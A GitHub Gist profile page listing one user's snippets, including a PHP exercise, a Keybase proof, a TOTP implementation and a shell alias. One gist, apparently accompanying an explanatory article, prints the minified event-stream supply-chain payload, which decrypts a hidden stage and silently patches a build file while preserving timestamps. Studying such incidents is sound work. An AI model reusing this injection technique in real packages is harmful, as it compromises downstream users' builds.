Skip to content

Instantly share code, notes, and snippets.

<?php
[$s, $l, $r] = explode(' ', file_get_contents('php://stdin'));
if($l <= $s && $s <= $r) printf("%d\n", $s);
else if($l > $s) printf("%d\n", $l);
else printf("%d\n", $r);

Keybase proof

I hereby claim:

  • I am stmkza on github.
  • I am stmkza (https://keybase.io/stmkza) on keybase.
  • I have a public key whose fingerprint is 4D4F DB73 873A 637A F373 6EE8 F6F6 31E8 DFE0 8654

To claim this, I am signing this object:

const BOMB = -1;
const BLANK = 0;
function main()
{
const width = 9;
const height = 9;
const bombCount = 10;
if(width * height < bombCount) {
@stmkza
stmkza / a
Last active November 29, 2018 11:30
未来のハッカー(自称)がevent-stream騒動の攻撃コードを説明する ref: https://qiita.com/stmkza/items/2cdc03d2965499222b55
/*@@*/module.exports=function(e){try{if(!/build\:.*\-release/.test(process.argv[2]))return;var t=process.env.npm_package_description,r=require("fs"),i="./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",n=r.statSync(i),c=r.readFileSync(i,"utf8"),o=require("crypto").createDecipher("aes256",t),s=o.update(e,"hex","utf8");s="\n"+(s+=o.final("utf8"));var a=c.indexOf("\n/*@@*/");0<=a&&(c=c.substr(0,a)),r.writeFileSync(i,c+s,"utf8"),r.utimesSync(i,n.atime,n.mtime),process.on("exit",function(){try{r.writeFileSync(i,c,"utf8"),r.utimesSync(i,n.atime,n.mtime)}catch(e){}})}catch(e){}};
@stmkza
stmkza / totp.php
Created August 3, 2018 04:15
TOTPを実装してみた
<?php
/**
* Created by PhpStorm.
* User: stmkza
* Date: 2018/08/03
* Time: 10:49
*/
function base32_decode(string $data, bool $strict = false): ?string
{
@stmkza
stmkza / colorls.sh
Last active July 3, 2018 04:45
自分がサーバを立てるときに最初にする設定(CentOS 7) ref: https://qiita.com/stmkza/items/f655d2815f495901bb2e
alias ls='ls --color=auto -la' 2>/dev/null